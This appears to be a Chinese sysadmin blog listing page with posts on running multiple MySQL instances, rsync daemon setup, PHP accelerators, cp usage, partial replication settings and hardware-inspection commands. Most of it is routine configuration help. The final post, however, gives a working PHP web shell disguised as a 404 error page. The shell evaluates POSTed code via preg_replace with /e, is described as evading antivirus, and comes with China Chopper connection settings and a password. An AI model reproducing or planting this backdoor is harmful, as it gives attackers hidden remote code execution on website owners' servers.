tar zxvf mysql-5.5.3-m3.tar.gz
cd mysql-5.5.3-m3/

./configure --prefix=/usr/local/mysql2/ --with-tcp-port=3307 --with-unix-socket-path=/tmp/mysql2.sock --enable-assembler --with-extra-charsets=complex --enable-thread-safe-client --with-big-tables --with-readline --with-ssl --with-embedded-server --enable-local-infile --with-plugins=partition,innobase,myisammrg

make && make install

cp /usr/local/mysql2/share/mysql/my-medium.cnf /etc/my2.cnf

cp /usr/local/mysql2/share/mysql/mysql.server /etc/init.d/mysql2



修改服务文件

vi /etc/rc.d/init.d/mysql2


将引用的配置文件名称由my.cnf改为当前要使用的配置文件my2.cnf,将my.cnf改成my2.cnf


# Try to find basedir in /etc/my.cnf
  conf=/etc/my.cnf
  print_defaults=
  if test -r $conf
  then


在$bindir/mysqld_safe中添加--defaults-file=/etc/my2.cnf

修改成下面


# may be overwritten at next upgrade.
      $bindir/mysqld_safe --defaults-file=/etc/my2.cnf  --datadir="$datadir" --pid-file="$mysqld_pid_file_path" $other_args >/dev/null 2>&1 &


保存。

初始化数据库

/usr/local/mysql2/bin/mysql_install_db --defaults-file=/etc/my2.cnf --basedir=/usr/local/mysql2/ --datadir=/usr/local/mysql2/var/ --user=mysql



chown -R mysql /usr/local/mysql2/var
chgrp -R mysql /usr/local/mysql2/.
chmod 755 /etc/init.d/mysql2
chkconfig --level 345 mysql2 on
service mysql2 start


至此安装完毕,可以启动一下,看是否有该进程

netstat -tlnap | grep mysql




/usr/local/mysql2/bin/mysql -uroot -p --socket=/tmp/mysql2.sock



change master to master_host='0.0.0.0', master_user='replication',master_password='00000', master_log_file='mysql-bin.000005', master_log_pos=107,MASTER_PORT=3306;


要指定端口,要不用的是本实例默认端口。

linux安装多个MYSQL实例 不指定

jed , 2013-3-20 11:04 , 服务器技术 , 评论(0) , 阅读(9273) , Via 本站原创
mysql创建多个实例,其实就是把DATA文件,SOCK,PORT指向不同的文件和端口

mysql安装过程看 http://blog.csdn.net/tangpengtao/article/details/6650424

先创建3307的DATA目录

[root@localhost mysql-5.5.15]# mkdir -p  /usr/local/mysql3307
[root@localhost mysql-5.5.15]#
[root@localhost mysql-5.5.15]#
[root@localhost mysql-5.5.15]# chmod +w /usr/local/mysql3307
[root@localhost mysql-5.5.15]# chown -R mysql:mysql /usr/local/mysql3307
[root@localhost mysql-5.5.15]#
[root@localhost mysql-5.5.15]# mkdir -p /var/mysql3307/
mkdir -p /var/mysql3307/data/
mkdir -p /var/mysql3307/log/
chown -R mysql:mysql /var/mysql3307/
[root@localhost mysql-5.5.15]# mkdir -p /var/mysql3307/data/
[root@localhost mysql-5.5.15]# mkdir -p /var/mysql3307/log/
[root@localhost mysql-5.5.15]# chown -R mysql:mysql /var/mysql3307/

mkdir -p  /usr/local/mysql3307

chmod +w /usr/local/mysql3307
chown -R mysql:mysql /usr/local/mysql3307
mkdir -p /var/mysql3307/
mkdir -p /var/mysql3307/data/

mkdir -p /var/mysql3307/log/

chown -R mysql:mysql /var/mysql3307/


[root@localhost mysql-5.5.15]# cmake -DCMAKE_INSTALL_PREFIX=/usr/local/mysql3307 \
> -DMYSQL_UNIX_ADDR=/tmp/mysql3307.sock \
> -DDEFAULT_CHARSET=utf8 \
> -DDEFAULT_COLLATION=utf8_general_ci \
> -DWITH_EXTRA_CHARSETS:STRING=utf8,gbk \
> -DWITH_MYISAM_STORAGE_ENGINE=1 \
> -DWITH_INNOBASE_STORAGE_ENGINE=1 \
> -DWITH_READLINE=1 \
> -DENABLED_LOCAL_INFILE=1 \
> -DMYSQL_DATADIR=/var/mysql3307/data \
> ;
-- MySQL 5.5.15
-- Configuring done
-- Generating done
-- Build files have been written to: /home/raycloud/software/mysql-5.5.15
[root@localhost mysql-5.5.15]#

[root@localhost mysql-5.5.15]# make
-- MySQL 5.5.15
-- Configuring done
-- Generating done
-- Build files have been written to: /home/raycloud/software/mysql-5.5.15
[  0%] Built target INFO_BIN



[root@localhost mysql-5.5.15]# make install

mysql 初始化安装

/usr/local/mysql/scripts/mysql_install_db \
--defaults-file=/etc/my.cnf \
--basedir=/usr/local/mysql \
--datadir=/var/mysql/data \
--user=mysql



进入到my.cnf然后vi my.cnf

[mysqld3]
port            = 3307  
socket          = /tmp/mysql3307.sock
skip-external-locking
key_buffer_size = 256M
max_allowed_packet = 1M
table_open_cache = 256
sort_buffer_size = 1M
read_buffer_size = 1M
read_rnd_buffer_size = 4M
myisam_sort_buffer_size = 64M
thread_cache_size = 8
query_cache_size= 16M
#wait_timeout=100
#interactive_timeout=100
max_connections=1400
user=root
datadir=/var/mysql3307/data

启动mysql

[root@localhost etc]# mysqld_safe --user=root --port=3307 --socket=/tmp/mysql3307.sock --datadir=/var/mysql3307/data &
[2] 7459
[root@localhost etc]# Starting mysqld daemon with databases from /var/mysql3307/data

查看mysql服务是否启动

[root@localhost etc]# ps -ef |grep 3307
root      7459  1624  0 20:18 pts/1    00:00:00 /bin/sh /usr/bin/mysqld_safe --user=root --port=3307 --socket=/tmp/mysql3307.sock --datadir=/var/mysql3307/data
root      7488  7459  0 20:18 pts/1    00:00:00 /usr/libexec/mysqld --basedir=/usr --datadir=/var/mysql3307/data --user=root --pid-file=/var/mysql3307/data/localhost.localdomain.pid --skip-external-locking --port=3307 --socket=/tmp/mysql3307.sock
root      7502  1624  0 20:19 pts/1    00:00:00 grep 3307
[root@localhost etc]#

进入mysqlclient 修改密码

[root@localhost etc]# mysql -uroot  --socket=/tmp/mysql3307.sock  --port=3307 -p
Enter password:

mysql> use mysql;
Database changed
mysql> update user set password=password('yourpassword') where user='root';
Query OK, 4 rows affected (0.00 sec)
Rows matched: 4  Changed: 4  Warnings: 0
mysql> FLUSH PRIVILEGES;
Query OK, 0 rows affected (0.00 sec)



mysql> set character_set_results=utf8
    ->
    ->
    -> ;
Query OK, 0 rows affected (0.00 sec)
mysql> show variables like '%char%';
+--------------------------+----------------------------+
| Variable_name            | Value                      |
+--------------------------+----------------------------+
| character_set_client     | utf8                       |
| character_set_connection | utf8                       |
| character_set_database   | utf8                       |
| character_set_filesystem | binary                     |
| character_set_results    | utf8                       |
| character_set_server     | utf8                       |
| character_set_system     | utf8                       |
| character_sets_dir       | /usr/share/mysql/charsets/ |
+--------------------------+----------------------------+
8 rows in set (0.00 sec)
mysql>

停止mysql 3307

[root@localhost etc]# mysqladmin -uroot --socket=/tmp/mysql3307.sock --port=3307 -p shutdown
Enter password:
[root@localhost etc]#

启动3307数据库
[root@localhost etc]# /usr/local/mysql/bin/mysqld_multi  --defaults-file=/etc/my.cnf start  3

rsync安装、配置全攻略 不指定

jed , 2012-12-29 12:03 , 服务器技术 , 评论(0) , 阅读(9753) , Via 本站原创
一.介绍 (不想看直接可以跳过)

Rsync 是一个远程数据同步工具,可通过 LAN/WAN 快速同步多台主机间的文件。 Rsync 本来是用以取代 rcp 的一个工具,它当前由  rsync.samba.org 维护。 Rsync 使用所谓的“ Rsync 演算法 ”来使本地和远程两个主机之间的文件达到同步,这个算法只传送两个文件的不同部分,而不是每次都整份传送,因此速度相当快。运行 Rsync server 的机器也叫 backup server ,一个 Rsync server 可同时备份多个 client 的数据;也可以多个 Rsync server 备份一个 client 的数据。

  Rsync 可以搭配 rsh 或 ssh 甚至使用 daemon 模式。 Rsync server 会打开一个 873 的服务通道 (port) ,等待对方 Rsync 连接。连接时, Rsync server 会检查口令是否相符,若通过口令查核,则可以开始进行文件传输。第一次连通完成时,会把整份文件传输一次,下一次就只传送二个文件之间不同的部份。

  Rsync 支持大多数的类 Unix 系统,无论是 Linux 、 Solaris 还是 BSD 上都经过了良好的测试。此外,它在 windows 平台下也有相应的版本,比较知名的有 cwRsync 和 Sync2NAS 。

  Rsync 的基本特点如下:

  1. 可以镜像保存整个目录树和文件系统;

  2. 可以很容易做到保持原来文件的权限、时间、软硬链接等;

  3. 无须特殊权限即可安装;

  4. 优化的流程,文件传输效率高;

  5. 可以使用 rcp 、 ssh 等方式来传输文件,当然也可以通过直接的 socket 连接;

6. 支持匿名传输。

核心算法介绍:

假定在名为α和β的两台计算机之间同步相似的文件 A 与 B ,其中α对文件 A 拥有访问权,β对文件 B 拥有访问权。并且假定主机α与β之间的网络带宽很小。那么 rsync 算法将通过下面的五个步骤来完成:

  1. β将文件 B 分割成一组不重叠的固定大小为 S 字节的数据块。最后一块可能会比 S  小。

  2. β对每一个分割好的数据块执行两种校验:一种是 32 位的滚动弱校验,另一种是 128 位的 MD4 强校验。

  3. β将这些校验结果发给α。

  4. α通过搜索文件 A 的所有大小为 S 的数据块 ( 偏移量可以任选,不一定非要是 S 的倍数 ) ,来寻找与文件 B 的某一块有着相同的弱校验码和强校验码的数据块。这项工作可以借助滚动校验的特性很快完成。

  5. α发给β一串指令来生成文件 A 在β上的备份。这里的每一条指令要么是对文件 B 经拥有某一个数据块而不须重传的证明,要么是一个数据块,这个数据块肯定是没有与文件 B 的任何一个数据块匹配上的。

命令:

rsync 的命令格式可以为以下六种:

  rsync [OPTION]... SRC DEST

  rsync [OPTION]... SRC [USER@]HOST:DEST

  rsync [OPTION]... [USER@]HOST:SRC DEST

  rsync [OPTION]... [USER@]HOST::SRC DEST

  rsync [OPTION]... SRC [USER@]HOST::DEST

  rsync [OPTION]... rsync://[USER@]HOST[:PORT]/SRC [DEST]

  对应于以上六种命令格式, rsync 有六种不同的工作模式:

  1) 拷贝本地文件。当 SRC 和 DES 路径信息都不包含有单个冒号 ":" 分隔符时就启动这种工作模式。

  2) 使用一个远程 shell 程序 ( 如 rsh 、 ssh) 来实现将本地机器的内容拷贝到远程机器。当 DST 路径地址包含单个冒号 ":" 分隔符时启动该模式。

  3) 使用一个远程 shell 程序 ( 如 rsh 、 ssh) 来实现将远程机器的内容拷贝到本地机器。当 SRC 地址路径包含单个冒号 ":" 分隔符时启动该模式。

  4) 从远程 rsync 服务器中拷贝文件到本地机。当 SRC 路径信息包含 "::" 分隔符时启动该模式。

  5) 从本地机器拷贝文件到远程 rsync 服务器中。当 DST 路径信息包含 "::" 分隔符时启动该模式。

  6) 列远程机的文件列表。这类似于 rsync 传输,不过只要在命令中省略掉本地机信息即可。


二.安装

在centos系统下默认已经安装了rsync,只需进行配置,并开启rsync守候进程即可。


#rpm -qa | grep rsync


检查是否已安装。

在CentOS服务器,我们可以执行以下命令安装

yum install rsync

对于debian、ubuntu服务器,则是以下命令

sudo apt-get  install  rsync


三、配置

1、修改rsync的配置文件

#cat /etc/xinetd.d/rsync


可以看到rysnc服务是关闭的(disable = yes),这里把它开启,把disable的值改为no


2、 创建rsync服务器配置文件/etc/rsyncd.conf

# Minimal configuration file for rsync daemon
# See rsync(1) and rsyncd.conf(5) man pages for help

# This line is required by the /etc/init.d/rsyncd script
pid file = /var/run/rsyncd.pid  
port = 873
address = 192.168.1.171  
#uid = nobody
#gid = nobody    
uid = root  
gid = root  

use chroot = yes  
read only = no  


#limit access to private LANs
hosts allow=192.168.1.0/255.255.255.0 10.0.1.0/255.255.255.0  
hosts deny=*

max connections = 5
motd file = /etc/rsyncd/rsyncd.motd

#This will give you a separate log file
#log file = /var/log/rsync.log

#This will log every file transferred - up to 85,000+ per user, per sync
#transfer logging = yes

log format = %t %a %m %f %b
syslog facility = local3
timeout = 300

[linuxsirhome]  
path = /home    
list=yes
ignore errors
auth users = grtongbu
secrets file = /etc/rsyncd/rsync.passwd
comment = linuxsir home  
exclude =   beinan/  samba/  

参考释义

#全局选项
strict modes =yes                        #是否检查口令文件的权限
port = 873                               #默认端口873
log file = /var/log/rsyncd.log           #日志记录文件     原文中有的,我没有使用,日志文件

pid file = /usr/local/rsync/rsyncd.pid   #运行进程的ID写到哪里    原文中有的,我没有使用,日志文件

#模块选项
[test]                                   # 这里是认证的模块名,在client端需要指定
max connections = 5                      #客户端最大连接数,默认0(没限制)
         uid = root                      #指定该模块传输文件时守护进程应该具有的uid
         gid = root                      #指定该模块传输文件时守护进程应该具有的gid
          path = /home/admin/testrsync   # 需要做备份的目录
          ignore errors                  # 可以忽略一些无关的IO错误
          read only = no                 #no客户端可上传文件,yes只读
          write only = no                #no客户端可下载文件,yes不能下载
          hosts allow = *                #充许任何主机连接
          hosts deny = 10.5.3.77         #禁止指定的主机连接
          auth users = root              # 认证的用户名,如果没有这行,则表明是匿名
          secrets file = /home/admin/security/rsync.pass    # 指定认证口令文件位置



http://blog.sina.com.cn/s/blog_5eda2dda01015fcs.html
http://hi.baidu.com/cxh1984/item/03bf5816a32febf8dceecabc
http://www.centos.bz/2011/06/rsync-server-setup/
http://blog.johntechinfo.com/technology/87
与xcache类似的,ioncube是为数不多能够在windows+apache环境使用的php优化工具之一。其作用与大名鼎鼎的Zend Optimizer大抵相似,但是如之前WAMP安装后对php提速优化一文中介绍到的,Zend Optimizer只支持到php5.2.x,而新的Zend Guard Loader虽然支持php5.3.x,但是只能在windows+IIS中使用。



ioncube的优化效果相当好,如果是在windows+apache中使用的是php5.3版本的话,Robin极力推荐安装此插件。安装方法如下:

1. 下载ioncube_loaders_win_vc9_x86.zip (百度最新)


2. 将压缩包内的ioncube_loader_win_5.3.dll拷贝至wamp\bin\php\php5.3.8\zend_ext目录下
Tags: ,
XCache是一款提速php执行效率的工具,只要是通过对php编译空间开启一定的缓存来实现提速。

windows+apache环境下能实现此功能的工具不多,XCache是其中比较好的一款,推荐使用。

安装方法:

1. 下载XCache-1.3.2-php-5.3.6-Win32-VC9-x86.zip (百度最新版本)
Tags: ,

       在linux中怎样用命令完全拷贝一个目录下的所有文件(包括隐藏文件以及文件夹)到另外一个目录下,并且使得被复制的所有文件的属性等完全保持不变?
       注意,连原来的文件夹中所有的文件的属性、链接等都不能更改。
也就是说,要建立原来文件夹的一份一模一样的拷贝!
         给你一个链接地址吧,你找的应该是在这个页面里的这句话:
# cp -avx /home/* /mnt/newhome



功能: 复制文件或目录
说明: cp指令用于复制文件或目录,如同时指定两个以上的文件或目录,且最后的目的地是一个已经存在的目录,则它会把前面指定的所有文件或目录复制到此目录中。若同时指定多个文件或目录,而最后的目的地并非一个已存在的目录,则会出现错误信息
参数:
1. 创建目录
     mkdir

     NO1. 在当前路径创建一级目录

          [root@rehat root]# mkdir test

     NO2. 在当前路径创建多级目录

          [root@rehat root]# mkdir -p mytest/test1/test1_1

     NO3. 在创建目录的同时给新建的目录赋权限

          [root@rehat root]# mkdir -m 777 testmod

          这样任何人对此目录都有任何权限
主从配置,跟之前的差不多一样。

http://www.dzhope.com/post/909/

特地备注一下从服务器只同步部分表的配置。


server-id = 3
#log-bin=/user/local/mysql/binlog/binlog
log-bin=mysql-bin
#expire_logs_days=5
#binlog-do-db = foodnewbbs
replicate-rewrite-db            = 主服务器库名A->从服务器库名B
replicate_do_table              = B.table1
replicate_do_table              = B.table2
#replicate-wild-do-table = foodnewbbs.pre_common_tagitem
binlog-ignore-db=mysql
binlog-ignore-db=foodbbs
binlog-ignore-db=foodqq
binlog-ignore-db=fooduchome
binlog-ignore-db=information_schema
binlog-ignore-db=performance_schema
binlog-ignore-db=test
binlog-ignore-db=ucenter3
binlog-ignore-db=ucenter2
binlog-ignore-db=wish
测试机器的硬件信息:

查看CPU信息(型号)
# cat /proc/cpuinfo | grep name | cut -f2 -d: | uniq -c
      8  Intel(R) Xeon(R) CPU            E5410   @ 2.33GHz
(看到有8个逻辑CPU, 也知道了CPU型号)

# cat /proc/cpuinfo | grep physical | uniq -c
      4 physical id      : 0
      4 physical id      : 1
(说明实际上是两颗4核的CPU)

# getconf LONG_BIT
   32
(说明当前CPU运行在32bit模式下, 但不代表CPU不支持64bit)

# cat /proc/cpuinfo | grep flags | grep ' lm ' | wc -l
   8
(结果大于0, 说明支持64bit计算. lm指long mode, 支持lm则是64bit)


再完整看cpu详细信息, 不过大部分我们都不关心而已.
# dmidecode | grep 'Processor Information'

查看内 存信息
# cat /proc/meminfo

# uname -a
Linux euis1 2.6.9-55.ELsmp #1 SMP Fri Apr 20 17:03:35 EDT 2007 i686 i686 i386 GNU/Linux
(查看当前操作系统内核信息)

# cat /etc/issue | grep Linux
Red Hat Enterprise Linux AS release 4 (Nahant Update 5)
(查看当前操作系统发行版信息)

查看机器型号
# dmidecode | grep "Product Name"  

查看网卡信息
# dmesg | grep -i eth
Tags: ,

PHP 404页面的一句话 [转] 不指定

jed , 2012-11-19 08:25 , 服务器技术 , 评论(0) , 阅读(6039) , Via 本站原创
把一句话搞隐蔽点,搞个404页面。 然后采用核心代码
@preg_replace(“/[checksql]/e”,$_POST['date'],”saft”);
这样可以有效的防止暴力破解还达到免杀的效果。

404一句话代码:


<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /error.php was not found on this server.</p>   </body></html>
<?php
   @preg_replace("/[checksql]/e",$_POST['date'],"saft");   header('HTTP/1.1 404 Not Found');
?>




//菜刀连接方法,在菜刀里面配置栏加上

<O>date=@eval($_POST[paxmac]);</O>



密码为paxmac
分页: 9/34 第一页 上页 4 5 6 7 8 9 10 11 12 13 下页 最后页 [ 显示模式: 摘要 | 列表 ]